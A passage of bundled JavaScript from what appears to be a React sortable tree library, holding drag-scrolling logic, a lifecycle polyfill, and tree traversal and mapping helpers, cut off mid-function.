reactIs_development_26 = reactIs_development.isSuspense; var reactIs_development_27 = reactIs_development.isValidElementType; var reactIs_development_28 = reactIs_development.typeOf; var reactIs = createCommonjsModule(function (module) { if (process.env.NODE_ENV === 'production') { module.exports = reactIs_production_min; } else { module.exports = reactIs_development; } }); /** * Copyright 2015, Yahoo! Inc. * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms. */ var REACT_STATICS = { childContextTypes: true, contextType: true, contextTypes: true, defaultProps: true, displayName: true, getDefaultProps: true, getDerivedStateFromError: true, getDerivedStateFromProps: true, mixins: true, propTypes: true, type: true }; var KNOWN_STATICS = { name: true, length: true, prototype: true, caller: true, callee: true, arguments: true, arity: true }; var FORWARD_REF_STATICS = { '$$typeof': true, render: true, defaultProps: true, displayName: true, propTypes: true }; var MEMO_STATICS = { '$$typeof': true, compare: true, defaultProps: true, displayName: true, propTypes: true, type: true }; var TYPE_STATICS = {}; TYPE_STATICS[reactIs.ForwardRef] = FORWARD_REF_STATICS; TYPE_STATICS[reactIs.Memo] = MEMO_STATICS; function getStatics(component) { // React v16.11 and below if (reactIs.isMemo(component)) { return MEMO_STATICS; } // React v16.12 and above return TYPE_STATICS[component['$$typeof']] || REACT_STATICS; } var defineProperty = Object.defineProperty; var getOwnPropertyNames = Object.getOwnPropertyNames; var getOwnPropertySymbols = Object.getOwnPropertySymbols; var getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor; var getPrototypeOf = Object.getPrototypeOf; var objectPrototype = Object.prototype; function hoistNonReactStatics(targetComponent, sourceComponent, blacklist) { if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components if (objectPrototype) { var inheritedComponent = getPrototypeOf(sourceComponent); if (inheritedComponent && inheritedComponent !== objectPrototype) { hoistNonReactStatics(targetComponent, inheritedComponent, blacklist); } } var keys = getOwnPropertyNames(sourceComponent); if (getOwnPropertySymbols) { keys = keys.concat(getOwnPropertySymbols(sourceComponent)); } var targetStatics = getStatics(targetComponent); var sourceStatics = getStatics(sourceComponent); for (var i = 0; i < keys.length; ++i) { var key = keys[i]; if (!KNOWN_STATICS[key] && !(blacklist && blacklist[key]) && !(sourceStatics && sourceStatics[key]) && !(targetStatics && targetStatics[key])) { var descriptor = getOwnPropertyDescriptor(sourceComponent, key); try { // Avoid failures from read-only properties defineProperty(targetComponent, key, descriptor); } catch (e) {} } } } return targetComponent; } var hoistNonReactStatics_cjs = hoistNonReactStatics; var util = createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.noop = noop; exports.intBetween = intBetween; exports.getCoords = getCoords; function noop() {} function intBetween(min, max, val) { return Math.floor(Math.min(max, Math.max(min, val))); } function getCoords(evt) { if (evt.type === 'touchmove') { return { x: evt.changedTouches[0].clientX, y: evt.changedTouches[0].clientY }; } return { x: evt.clientX, y: evt.clientY }; } }); unwrapExports(util); var util_1 = util.noop; var util_2 = util.intBetween; var util_3 = util.getCoords; var lib = createCommonjsModule(function (module, exports) { Object.defineProperty(exports, "__esModule", { value: true }); exports.createHorizontalStrength = createHorizontalStrength; exports.createVerticalStrength = createVerticalStrength; exports.createScrollingComponent = createScrollingComponent; exports.default = createScrollingComponentWithConsumer; exports.defaultVerticalStrength = exports.defaultHorizontalStrength = void 0; var _react = _interopRequireWildcard(React__default); var _propTypes = _interopRequireDefault(PropTypes); var _lodash = _interopRequireDefault(lodash_throttle); var _raf = _interopRequireDefault(raf_1); var _reactDisplayName = _interopRequireDefault(getDisplayName_1); var _hoistNonReactStatics = _interopRequireDefault(hoistNonReactStatics_cjs); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var DEFAULT_BUFFER = 150; function createHorizontalStrength(_buffer) { return function defaultHorizontalStrength(_ref, point) { var x = _ref.x, w = _ref.w, y = _ref.y, h = _ref.h; var buffer = Math.min(w / 2, _buffer); var inRange = point.x >= x && point.x <= x + w; var inBox = inRange && point.y >= y && point.y <= y + h; if (inBox) { if (point.x < x + buffer) { return (point.x - x - buffer) / buffer; } if (point.x > x + w - buffer) { return -(x + w - point.x - buffer) / buffer; } } return 0; }; } function createVerticalStrength(_buffer) { return function defaultVerticalStrength(_ref2, point) { var y = _ref2.y, h = _ref2.h, x = _ref2.x, w = _ref2.w; var buffer = Math.min(h / 2, _buffer); var inRange = point.y >= y && point.y <= y + h; var inBox = inRange && point.x >= x && point.x <= x + w; if (inBox) { if (point.y < y + buffer) { return (point.y - y - buffer) / buffer; } if (point.y > y + h - buffer) { return -(y + h - point.y - buffer) / buffer; } } return 0; }; } var defaultHorizontalStrength = createHorizontalStrength(DEFAULT_BUFFER); exports.defaultHorizontalStrength = defaultHorizontalStrength; var defaultVerticalStrength = createVerticalStrength(DEFAULT_BUFFER); exports.defaultVerticalStrength = defaultVerticalStrength; function createScrollingComponent(WrappedComponent) { var ScrollingComponent = /*#__PURE__*/ function (_Component) { _inherits(ScrollingComponent, _Component); // Update scaleX and scaleY every 100ms or so // and start scrolling if necessary function ScrollingComponent(props, ctx) { var _this; _classCallCheck(this, ScrollingComponent); _this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollingComponent).call(this, props, ctx)); _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "updateScrolling", (0, _lodash.default)(function (evt) { var _this$container$getBo = _this.container.getBoundingClientRect(), x = _this$container$getBo.left, y = _this$container$getBo.top, w = _this$container$getBo.width, h = _this$container$getBo.height; var box = { x: x, y: y, w: w, h: h }; var coords = (0, util.getCoords)(evt); // calculate strength var _this$props = _this.props, horizontalStrength = _this$props.horizontalStrength, verticalStrength = _this$props.verticalStrength; _this.scaleX = horizontalStrength(box, coords); _this.scaleY = verticalStrength(box, coords); // start scrolling if we need to if (!_this.frame && (_this.scaleX || _this.scaleY)) { _this.startScrolling(); } }, 100, { trailing: false })); _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "handleEvent", function (evt) { if (_this.dragging && !_this.attached) { _this.attach(); _this.updateScrolling(evt); } }); _this.wrappedInstance = _react.default.createRef(); _this.scaleX = 0; _this.scaleY = 0; _this.frame = null; _this.attached = false; _this.dragging = false; return _this; } _createClass(ScrollingComponent, [{ key: "componentDidMount", value: function componentDidMount() { var _this2 = this; this.container = this.wrappedInstance.current; if (this.container && typeof this.container.addEventListener === 'function') { this.container.addEventListener('dragover', this.handleEvent); } // touchmove events don't seem to work across siblings, so we unfortunately // have to attach the listeners to the body window.document.body.addEventListener('touchmove', this.handleEvent); var dragDropManager = this.props.dragDropManager; this.clearMonitorSubscription = dragDropManager.getMonitor().subscribeToStateChange(function () { return _this2.handleMonitorChange(); }); } }, { key: "componentWillUnmount", value: function componentWillUnmount() { if (this.container && typeof this.container.removeEventListener === 'function') { this.container.removeEventListener('dragover', this.handleEvent); } window.document.body.removeEventListener('touchmove', this.handleEvent); this.clearMonitorSubscription(); this.stopScrolling(); } }, { key: "handleMonitorChange", value: function handleMonitorChange() { var dragDropManager = this.props.dragDropManager; var isDragging = dragDropManager.getMonitor().isDragging(); if (!this.dragging && isDragging) { this.dragging = true; } else if (this.dragging && !isDragging) { this.dragging = false; this.stopScrolling(); } } }, { key: "attach", value: function attach() { this.attached = true; window.document.body.addEventListener('dragover', this.updateScrolling); window.document.body.addEventListener('touchmove', this.updateScrolling); } }, { key: "detach", value: function detach() { this.attached = false; window.document.body.removeEventListener('dragover', this.updateScrolling); window.document.body.removeEventListener('touchmove', this.updateScrolling); } }, { key: "startScrolling", value: function startScrolling() { var _this3 = this; var i = 0; var tick = function tick() { var scaleX = _this3.scaleX, scaleY = _this3.scaleY, container = _this3.container; var _this3$props = _this3.props, strengthMultiplier = _this3$props.strengthMultiplier, onScrollChange = _this3$props.onScrollChange; // stop scrolling if there's nothing to do if (strengthMultiplier === 0 || scaleX + scaleY === 0) { _this3.stopScrolling(); return; } // there's a bug in safari where it seems like we can't get // mousemove events from a container that also emits a scroll // event that same frame. So we double the strengthMultiplier and only adjust // the scroll position at 30fps i += 1; if (i % 2) { var scrollLeft = container.scrollLeft, scrollTop = container.scrollTop, scrollWidth = container.scrollWidth, scrollHeight = container.scrollHeight, clientWidth = container.clientWidth, clientHeight = container.clientHeight; var newLeft = scaleX ? container.scrollLeft = (0, util.intBetween)(0, scrollWidth - clientWidth, scrollLeft + scaleX * strengthMultiplier) : scrollLeft; var newTop = scaleY ? container.scrollTop = (0, util.intBetween)(0, scrollHeight - clientHeight, scrollTop + scaleY * strengthMultiplier) : scrollTop; onScrollChange(newLeft, newTop); } _this3.frame = (0, _raf.default)(tick); }; tick(); } }, { key: "stopScrolling", value: function stopScrolling() { this.detach(); this.scaleX = 0; this.scaleY = 0; if (this.frame) { _raf.default.cancel(this.frame); this.frame = null; } } }, { key: "render", value: function render() { var _this$props2 = this.props, strengthMultiplier = _this$props2.strengthMultiplier, verticalStrength = _this$props2.verticalStrength, horizontalStrength = _this$props2.horizontalStrength, onScrollChange = _this$props2.onScrollChange, props = _objectWithoutProperties(_this$props2, ["strengthMultiplier", "verticalStrength", "horizontalStrength", "onScrollChange"]); return _react.default.createElement(WrappedComponent, _extends({ ref: this.wrappedInstance }, props)); } }]); return ScrollingComponent; }(_react.Component); _defineProperty(ScrollingComponent, "displayName", "Scrolling(".concat((0, _reactDisplayName.default)(WrappedComponent), ")")); _defineProperty(ScrollingComponent, "propTypes", { // eslint-disable-next-line react/forbid-prop-types dragDropManager: _propTypes.default.object.isRequired, onScrollChange: _propTypes.default.func, verticalStrength: _propTypes.default.func, horizontalStrength: _propTypes.default.func, strengthMultiplier: _propTypes.default.number }); _defineProperty(ScrollingComponent, "defaultProps", { onScrollChange: util.noop, verticalStrength: defaultVerticalStrength, horizontalStrength: defaultHorizontalStrength, strengthMultiplier: 30 }); return (0, _hoistNonReactStatics.default)(ScrollingComponent, WrappedComponent); } function createScrollingComponentWithConsumer(WrappedComponent) { var ScrollingComponent = createScrollingComponent(WrappedComponent); return function (props) { return _react.default.createElement(reactDnd__default.DragDropContextConsumer, null, function (_ref3) { var dragDropManager = _ref3.dragDropManager; return dragDropManager === undefined ? null : _react.default.createElement(ScrollingComponent, _extends({}, props, { dragDropManager: dragDropManager })); }); }; } }); var withScrolling = unwrapExports(lib); var lib_1 = lib.createHorizontalStrength; var lib_2 = lib.createVerticalStrength; var lib_3 = lib.createScrollingComponent; var lib_4 = lib.defaultVerticalStrength; var lib_5 = lib.defaultHorizontalStrength; /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ function componentWillMount() { // Call this.constructor.gDSFP to support sub-classes. var state = this.constructor.getDerivedStateFromProps(this.props, this.state); if (state !== null && state !== undefined) { this.setState(state); } } function componentWillReceiveProps(nextProps) { // Call this.constructor.gDSFP to support sub-classes. // Use the setState() updater to ensure state isn't stale in certain edge cases. function updater(prevState) { var state = this.constructor.getDerivedStateFromProps(nextProps, prevState); return state !== null && state !== undefined ? state : null; } // Binding "this" is important for shallow renderer support. this.setState(updater.bind(this)); } function componentWillUpdate(nextProps, nextState) { try { var prevProps = this.props; var prevState = this.state; this.props = nextProps; this.state = nextState; this.__reactInternalSnapshotFlag = true; this.__reactInternalSnapshot = this.getSnapshotBeforeUpdate( prevProps, prevState ); } finally { this.props = prevProps; this.state = prevState; } } // React may warn about cWM/cWRP/cWU methods being deprecated. // Add a flag to suppress these warnings for this special case. componentWillMount.__suppressDeprecationWarning = true; componentWillReceiveProps.__suppressDeprecationWarning = true; componentWillUpdate.__suppressDeprecationWarning = true; function polyfill$1(Component) { var prototype = Component.prototype; if (!prototype || !prototype.isReactComponent) { throw new Error('Can only polyfill class components'); } if ( typeof Component.getDerivedStateFromProps !== 'function' && typeof prototype.getSnapshotBeforeUpdate !== 'function' ) { return Component; } // If new component APIs are defined, "unsafe" lifecycles won't be called. // Error if any of these lifecycles are present, // Because they would work differently between older and newer (16.3+) versions of React. var foundWillMountName = null; var foundWillReceivePropsName = null; var foundWillUpdateName = null; if (typeof prototype.componentWillMount === 'function') { foundWillMountName = 'componentWillMount'; } else if (typeof prototype.UNSAFE_componentWillMount === 'function') { foundWillMountName = 'UNSAFE_componentWillMount'; } if (typeof prototype.componentWillReceiveProps === 'function') { foundWillReceivePropsName = 'componentWillReceiveProps'; } else if (typeof prototype.UNSAFE_componentWillReceiveProps === 'function') { foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps'; } if (typeof prototype.componentWillUpdate === 'function') { foundWillUpdateName = 'componentWillUpdate'; } else if (typeof prototype.UNSAFE_componentWillUpdate === 'function') { foundWillUpdateName = 'UNSAFE_componentWillUpdate'; } if ( foundWillMountName !== null || foundWillReceivePropsName !== null || foundWillUpdateName !== null ) { var componentName = Component.displayName || Component.name; var newApiName = typeof Component.getDerivedStateFromProps === 'function' ? 'getDerivedStateFromProps()' : 'getSnapshotBeforeUpdate()'; throw Error( 'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' + componentName + ' uses ' + newApiName + ' but also contains the following legacy lifecycles:' + (foundWillMountName !== null ? '\n ' + foundWillMountName : '') + (foundWillReceivePropsName !== null ? '\n ' + foundWillReceivePropsName : '') + (foundWillUpdateName !== null ? '\n ' + foundWillUpdateName : '') + '\n\nThe above lifecycles should be removed. Learn more about this warning here:\n' + 'https://fb.me/react-async-component-lifecycle-hooks' ); } // React <= 16.2 does not support static getDerivedStateFromProps. // As a workaround, use cWM and cWRP to invoke the new static lifecycle. // Newer versions of React will ignore these lifecycles if gDSFP exists. if (typeof Component.getDerivedStateFromProps === 'function') { prototype.componentWillMount = componentWillMount; prototype.componentWillReceiveProps = componentWillReceiveProps; } // React <= 16.2 does not support getSnapshotBeforeUpdate. // As a workaround, use cWU to invoke the new lifecycle. // Newer versions of React will ignore that lifecycle if gSBU exists. if (typeof prototype.getSnapshotBeforeUpdate === 'function') { if (typeof prototype.componentDidUpdate !== 'function') { throw new Error( 'Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype' ); } prototype.componentWillUpdate = componentWillUpdate; var componentDidUpdate = prototype.componentDidUpdate; prototype.componentDidUpdate = function componentDidUpdatePolyfill( prevProps, prevState, maybeSnapshot ) { // 16.3+ will not execute our will-update method; // It will pass a snapshot value to did-update though. // Older versions will require our polyfilled will-update value. // We need to handle both cases, but can't just check for the presence of "maybeSnapshot", // Because for <= 15.x versions this might be a "prevContext" object. // We also can't just check "__reactInternalSnapshot", // Because get-snapshot might return a falsy value. // So check for the explicit __reactInternalSnapshotFlag flag to determine behavior. var snapshot = this.__reactInternalSnapshotFlag ? this.__reactInternalSnapshot : maybeSnapshot; componentDidUpdate.call(this, prevProps, prevState, snapshot); }; } return Component; } /** * Performs a depth-first traversal over all of the node descendants, * incrementing currentIndex by 1 for each */ function getNodeDataAtTreeIndexOrNextIndex(_ref) { var targetIndex = _ref.targetIndex, node = _ref.node, currentIndex = _ref.currentIndex, getNodeKey = _ref.getNodeKey, _ref$path = _ref.path, path = _ref$path === void 0 ? [] : _ref$path, _ref$lowerSiblingCoun = _ref.lowerSiblingCounts, lowerSiblingCounts = _ref$lowerSiblingCoun === void 0 ? [] : _ref$lowerSiblingCoun, _ref$ignoreCollapsed = _ref.ignoreCollapsed, ignoreCollapsed = _ref$ignoreCollapsed === void 0 ? true : _ref$ignoreCollapsed, _ref$isPseudoRoot = _ref.isPseudoRoot, isPseudoRoot = _ref$isPseudoRoot === void 0 ? false : _ref$isPseudoRoot; // The pseudo-root is not considered in the path var selfPath = !isPseudoRoot ? [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]) : []; // Return target node when found if (currentIndex === targetIndex) { return { node: node, lowerSiblingCounts: lowerSiblingCounts, path: selfPath }; } // Add one and continue for nodes with no children or hidden children if (!node.children || ignoreCollapsed && node.expanded !== true) { return { nextIndex: currentIndex + 1 }; } // Iterate over each child and their descendants and return the // target node if childIndex reaches the targetIndex var childIndex = currentIndex + 1; var childCount = node.children.length; for (var i = 0; i < childCount; i += 1) { var result = getNodeDataAtTreeIndexOrNextIndex({ ignoreCollapsed: ignoreCollapsed, getNodeKey: getNodeKey, targetIndex: targetIndex, node: node.children[i], currentIndex: childIndex, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); if (result.node) { return result; } childIndex = result.nextIndex; } // If the target node is not found, return the farthest traversed index return { nextIndex: childIndex }; } function getDescendantCount(_ref2) { var node = _ref2.node, _ref2$ignoreCollapsed = _ref2.ignoreCollapsed, ignoreCollapsed = _ref2$ignoreCollapsed === void 0 ? true : _ref2$ignoreCollapsed; return getNodeDataAtTreeIndexOrNextIndex({ getNodeKey: function getNodeKey() {}, ignoreCollapsed: ignoreCollapsed, node: node, currentIndex: 0, targetIndex: -1 }).nextIndex - 1; } /** * Walk all descendants of the given node, depth-first * * @param {Object} args - Function parameters * @param {function} args.callback - Function to call on each node * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves * as the parent of all the nodes in the tree * @param {Object} args.node - A tree node * @param {Object=} args.parentNode - The parent node of `node` * @param {number} args.currentIndex - The treeIndex of `node` * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the * previous nodes in this path * * @return {number|false} nextIndex - Index of the next sibling of `node`, * or false if the walk should be terminated */ function walkDescendants(_ref3) { var callback = _ref3.callback, getNodeKey = _ref3.getNodeKey, ignoreCollapsed = _ref3.ignoreCollapsed, _ref3$isPseudoRoot = _ref3.isPseudoRoot, isPseudoRoot = _ref3$isPseudoRoot === void 0 ? false : _ref3$isPseudoRoot, node = _ref3.node, _ref3$parentNode = _ref3.parentNode, parentNode = _ref3$parentNode === void 0 ? null : _ref3$parentNode, currentIndex = _ref3.currentIndex, _ref3$path = _ref3.path, path = _ref3$path === void 0 ? [] : _ref3$path, _ref3$lowerSiblingCou = _ref3.lowerSiblingCounts, lowerSiblingCounts = _ref3$lowerSiblingCou === void 0 ? [] : _ref3$lowerSiblingCou; // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: node, treeIndex: currentIndex })]); var selfInfo = isPseudoRoot ? null : { node: node, parentNode: parentNode, path: selfPath, lowerSiblingCounts: lowerSiblingCounts, treeIndex: currentIndex }; if (!isPseudoRoot) { var callbackResult = callback(selfInfo); // Cut walk short if the callback returned false if (callbackResult === false) { return false; } } // Return self on nodes with no children or hidden children if (!node.children || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return currentIndex; } // Get all descendants var childIndex = currentIndex; var childCount = node.children.length; if (typeof node.children !== 'function') { for (var i = 0; i < childCount; i += 1) { childIndex = walkDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, node: node.children[i], parentNode: isPseudoRoot ? null : node, currentIndex: childIndex + 1, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); // Cut walk short if the callback returned false if (childIndex === false) { return false; } } } return childIndex; } /** * Perform a change on the given node and all its descendants, traversing the tree depth-first * * @param {Object} args - Function parameters * @param {function} args.callback - Function to call on each node * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves * as the parent of all the nodes in the tree * @param {Object} args.node - A tree node * @param {Object=} args.parentNode - The parent node of `node` * @param {number} args.currentIndex - The treeIndex of `node` * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the * previous nodes in this path * * @return {number|false} nextIndex - Index of the next sibling of `node`, * or false if the walk should be terminated */ function mapDescendants(_ref4) { var callback = _ref4.callback, getNodeKey = _ref4.getNodeKey, ignoreCollapsed = _ref4.ignoreCollapsed, _ref4$isPseudoRoot = _ref4.isPseudoRoot, isPseudoRoot = _ref4$isPseudoRoot === void 0 ? false : _ref4$isPseudoRoot, node = _ref4.node, _ref4$parentNode = _ref4.parentNode, parentNode = _ref4$parentNode === void 0 ? null : _ref4$parentNode, currentIndex = _ref4.currentIndex, _ref4$path = _ref4.path, path = _ref4$path === void 0 ? [] : _ref4$path, _ref4$lowerSiblingCou = _ref4.lowerSiblingCounts, lowerSiblingCounts = _ref4$lowerSiblingCou === void 0 ? [] : _ref4$lowerSiblingCou; var nextNode = _objectSpread2({}, node); // The pseudo-root is not considered in the path var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({ node: nextNode, treeIndex: currentIndex })]); var selfInfo = { node: nextNode, parentNode: parentNode, path: selfPath, lowerSiblingCounts: lowerSiblingCounts, treeIndex: currentIndex }; // Return self on nodes with no children or hidden children if (!nextNode.children || nextNode.expanded !== true && ignoreCollapsed && !isPseudoRoot) { return { treeIndex: currentIndex, node: callback(selfInfo) }; } // Get all descendants var childIndex = currentIndex; var childCount = nextNode.children.length; if (typeof nextNode.children !== 'function') { nextNode.children = nextNode.children.map(function (child, i) { var mapResult = mapDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, node: child, parentNode: isPseudoRoot ? null : nextNode, currentIndex: childIndex + 1, lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]), path: selfPath }); childIndex = mapResult.treeIndex; return mapResult.node; }); } return { node: callback(selfInfo), treeIndex: childIndex }; } /** * Count all the visible (expanded) descendants in the tree data. * * @param {!Object[]} treeData - Tree data * * @return {number} count */ function getVisibleNodeCount(_ref5) { var treeData = _ref5.treeData; var traverse = function traverse(node) { if (!node.children || node.expanded !== true || typeof node.children === 'function') { return 1; } return 1 + node.children.reduce(function (total, currentNode) { return total + traverse(currentNode); }, 0); }; return treeData.reduce(function (total, currentNode) { return total + traverse(currentNode); }, 0); } /** * Get the <targetIndex>th visible node in the tree data. * * @param {!Object[]} treeData - Tree data * @param {!number} targetIndex - The index of the node to search for * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * * @return {{ * node: Object, * path: []string|[]number, * lowerSiblingCounts: []number * }|null} node - The node at targetIndex, or null if not found */ function getVisibleNodeInfoAtIndex(_ref6) { var treeData = _ref6.treeData, targetIndex = _ref6.index, getNodeKey = _ref6.getNodeKey; if (!treeData || treeData.length < 1) { return null; } // Call the tree traversal with a pseudo-root node var result = getNodeDataAtTreeIndexOrNextIndex({ targetIndex: targetIndex, getNodeKey: getNodeKey, node: { children: treeData, expanded: true }, currentIndex: -1, path: [], lowerSiblingCounts: [], isPseudoRoot: true }); if (result.node) { return result; } return null; } /** * Walk descendants depth-first and call a callback on each * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {function} callback - Function to call on each node * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return void */ function walk(_ref7) { var treeData = _ref7.treeData, getNodeKey = _ref7.getNodeKey, callback = _ref7.callback, _ref7$ignoreCollapsed = _ref7.ignoreCollapsed, ignoreCollapsed = _ref7$ignoreCollapsed === void 0 ? true : _ref7$ignoreCollapsed; if (!treeData || treeData.length < 1) { return; } walkDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, isPseudoRoot: true, node: { children: treeData }, currentIndex: -1, path: [], lowerSiblingCounts: [] }); } /** * Perform a depth-first transversal of the descendants and * make a change to every node in the tree * * @param {!Object[]} treeData - Tree data * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {function} callback - Function to call on each node * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The changed tree data */ function map(_ref8) { var treeData = _ref8.treeData, getNodeKey = _ref8.getNodeKey, callback = _ref8.callback, _ref8$ignoreCollapsed = _ref8.ignoreCollapsed, ignoreCollapsed = _ref8$ignoreCollapsed === void 0 ? true : _ref8$ignoreCollapsed; if (!treeData || treeData.length < 1) { return []; } return mapDescendants({ callback: callback, getNodeKey: getNodeKey, ignoreCollapsed: ignoreCollapsed, isPseudoRoot: true, node: { children: treeData }, currentIndex: -1, path: [], lowerSiblingCounts: [] }).node.children; } /** * Expand or close every node in the tree * * @param {!Object[]} treeData - Tree data * @param {?boolean} expanded - Whether the node is expanded or not * * @return {Object[]} changedTreeData - The changed tree data */ function toggleExpandedForAll(_ref9) { var treeData = _ref9.treeData, _ref9$expanded = _ref9.expanded, expanded = _ref9$expanded === void 0 ? true : _ref9$expanded; return map({ treeData: treeData, callback: function callback(_ref10) { var node = _ref10.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: expanded }); }, getNodeKey: function getNodeKey(_ref11) { var treeIndex = _ref11.treeIndex; return treeIndex; }, ignoreCollapsed: false }); } /** * Replaces node at path with object, or callback-defined object * * @param {!Object[]} treeData * @param {number[]|string[]} path - Array of keys leading up to node to be changed * @param {function|any} newNode - Node to replace the node at the path with, or a function producing the new node * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true` * * @return {Object[]} changedTreeData - The changed tree data */ function changeNodeAtPath(_ref12) { var treeData = _ref12.treeData, path = _ref12.path, newNode = _ref12.newNode, getNodeKey = _ref12.getNodeKey, _ref12$ignoreCollapse = _ref12.ignoreCollapsed, ignoreCollapsed = _ref12$ignoreCollapse === void 0 ? true : _ref12$ignoreCollapse; var RESULT_MISS = 'RESULT_MISS'; var traverse = function traverse(_ref13) { var _ref13$isPseudoRoot = _ref13.isPseudoRoot, isPseudoRoot = _ref13$isPseudoRoot === void 0 ? false : _ref13$isPseudoRoot, node = _ref13.node, currentTreeIndex = _ref13.currentTreeIndex, pathIndex = _ref13.pathIndex; if (!isPseudoRoot && getNodeKey({ node: node, treeIndex: currentTreeIndex }) !== path[pathIndex]) { return RESULT_MISS; } if (pathIndex >= path.length - 1) { // If this is the final location in the path, return its changed form return typeof newNode === 'function' ? newNode({ node: node, treeIndex: currentTreeIndex }) : newNode; } if (!node.children) { // If this node is part of the path, but has no children, return the unchanged node throw new Error('Path referenced children of node with no children.'); } var nextTreeIndex = currentTreeIndex + 1; for (var i = 0; i < node.children.length; i += 1) { var _result = traverse({ node: node.children[i], currentTreeIndex: nextTreeIndex, pathIndex: pathIndex + 1 }); // 